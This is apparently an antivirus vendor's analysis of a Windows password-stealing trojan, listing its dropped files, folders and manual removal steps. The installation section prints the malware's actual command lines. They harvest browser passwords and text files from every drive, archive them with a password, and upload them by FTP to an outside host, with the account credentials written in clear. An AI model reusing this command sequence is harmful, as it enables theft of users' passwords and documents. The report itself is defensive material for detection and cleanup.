Trojan.Win32.WACATAC.USASHAG20

February 03, 2020
 ALIASES:

HEUR:PSWTool.Win32.ChromePass.gen (Kaspersky); BehavesLike.Win32.Malware.bsf (vs) (Sunbelt)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,055,806 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

03 Feb 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • attrib +h %User Temp%\ytmp
  • attrib +a +r +s +h "%User Temp%/afolder/*.*"
  • attrib +a +r +s +h "%User Temp%/afolder"
  • attrib +a +r +s +h "%System Root%/ChromeTxtFiles"
  • %User Temp%\afolder\IDM.exe %User Temp%/afolder/IDM.exe -o "%System Root%/ChromeTxtFiles/ChromePasswords/Chrome_passwords.txt"
  • %User Temp%\afolder\WinRar.exe %User Temp%/afolder/WinRar.exe /shtml "%System Root%/ChromeTxtFiles/ChromePasswords/Chrome_Opera_IE_FireFox.html"
  • xcopy /s /y /q /h A:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h B:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h D:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h E:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h F:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h G:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h H:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h I:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h J:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h K:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h L:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h M:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h N:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h O:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h P:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h Q:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h R:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h S:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h T:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h U:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h V:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h W:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h X:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h Y:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h Z:\*.txt "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h "%User Profile%\Mes documents\*.txt" "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h "%Desktop%\*.txt" "%System Root%/ChromeTxtFiles/TxtFiles"
  • xcopy /s /y /q /h "%User Profile%\Downloads\*.txt" "%System Root%/ChromeTxtFiles/TxtFiles"
  • %User Temp%\afolder\Explorer.exe %User Temp%/afolder/Explorer.exe a -inul -s -ptarik19xx "%System Root%/ChromeTxtFiles//06/- 1-Su_19h24min47s_({username}-{computername})" "%System Root%/ChromeTxtFiles"
  • %User Temp%\afolder\IEMonitor.exe %User Temp%/afolder/IEMonitor.exe ftp://dgerma:tarik19xx@files.000webhost.com:21/%System Root%/ChromeTxtFiles
  • %User Temp%\afolder\IEMonitor.exe %User Temp%/afolder/IEMonitor.exe ftp://dgerma1:tarik19xx@files.000webhost.com:21/%System Root%/ChromeTxtFiles
  • %User Temp%\afolder\IEMonitor.exe %User Temp%/afolder/IEMonitor.exe ftp://dgerma2:tarik19xx@files.000webhost.com:21/%System Root%/ChromeTxtFiles
  • %User Temp%\afolder\IEMonitor.exe %User Temp%/afolder/IEMonitor.exe ftp://dgerma3:tarik19xx@files.000webhost.com:21/%System Root%/ChromeTxtFiles

It creates the following folders:

  • %System Root%\ChromeTxtFiles
  • %User Temp%\ytmp
  • %System Root%/ChromeTxtFiles/ChromePasswords
  • %System Root%\ChromeTxtFiles\ChromePasswords
  • %User Temp%\afolder
  • %System Root%\ChromeTxtFiles\TxtFiles
  • %Application Data%\WinRAR

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Trojan deletes the following folders:

  • %System Root%\ChromeTxtFiles\TxtFiles\data
  • %System Root%\ChromeTxtFiles\TxtFiles\excel2k
  • %System Root%\ChromeTxtFiles\TxtFiles\word2k
  • %System Root%\ChromeTxtFiles\TxtFiles\powerpoint2k
  • %System Root%\ChromeTxtFiles\TxtFiles\data\photos

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Dropping Routine

This Trojan drops the following files:

  • %User Temp%\Login Data
  • %User Temp%\ytmp\t2643.exe
  • %User Temp%\afolder\IEMonitor.exe
  • %System Root%\ChromeTxtFiles\TxtFiles\powerpoint2k
  • %System Root%\ChromeTxtFiles\TxtFiles\Email and Password List.txt
  • %System Root%\ChromeTxtFiles\TxtFiles\data\photos
  • %User Temp%\afolder\Explorer.exe
  • %System Root%\ChromeTxtFiles\TxtFiles\data\dolist.txt
  • %System Root%\ChromeTxtFiles\TxtFiles\data
  • %System Root%\ChromeTxtFiles\ChromePasswords\Chrome_Opera_IE_FireFox.html
  • %System Root%\ChromeTxtFiles\TxtFiles\note.txt
  • %User Temp%\afolder\IDM.exe
  • %System Root%\ChromeTxtFiles\TxtFiles\word2k
  • %System Root%\ChromeTxtFiles\TxtFiles\excel2k
  • %User Temp%\afolder\WinRar.exe
  • %System Root%\ChromeTxtFiles\06\- 1-Su_19h24min47s_({username}-{computername}).rar
  • %System Root%\ChromeTxtFiles\ChromePasswords\Chrome_passwords.txt

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://files.{BLOCKED}host.com

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.Win32.WACATAC.USASHAG20

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\Login Data
  • %User Temp%\ytmp\t2643.exe
  • %User Temp%\afolder\IEMonitor.exe
  • %System Root%\ChromeTxtFiles\TxtFiles\powerpoint2k
  • %System Root%\ChromeTxtFiles\TxtFiles\Email and Password List.txt
  • %System Root%\ChromeTxtFiles\TxtFiles\data\photos
  • %User Temp%\afolder\Explorer.exe
  • %System Root%\ChromeTxtFiles\TxtFiles\data\dolist.txt
  • %System Root%\ChromeTxtFiles\TxtFiles\data
  • %System Root%\ChromeTxtFiles\ChromePasswords\Chrome_Opera_IE_FireFox.html
  • %System Root%\ChromeTxtFiles\TxtFiles\note.txt
  • %User Temp%\afolder\IDM.exe
  • %System Root%\ChromeTxtFiles\TxtFiles\word2k
  • %System Root%\ChromeTxtFiles\TxtFiles\excel2k
  • %User Temp%\afolder\WinRar.exe
  • %System Root%\ChromeTxtFiles\06\- 1-Su_19h24min47s_({username}-{computername}).rar
  • %System Root%\ChromeTxtFiles\ChromePasswords\Chrome_passwords.txt

Step 4

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %System Root%\ChromeTxtFiles
  • %User Temp%\ytmp
  • %System Root%/ChromeTxtFiles/ChromePasswords
  • %System Root%\ChromeTxtFiles\ChromePasswords
  • %User Temp%\afolder
  • %System Root%\ChromeTxtFiles\TxtFiles
  • %Application Data%\WinRAR

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.WACATAC.USASHAG20. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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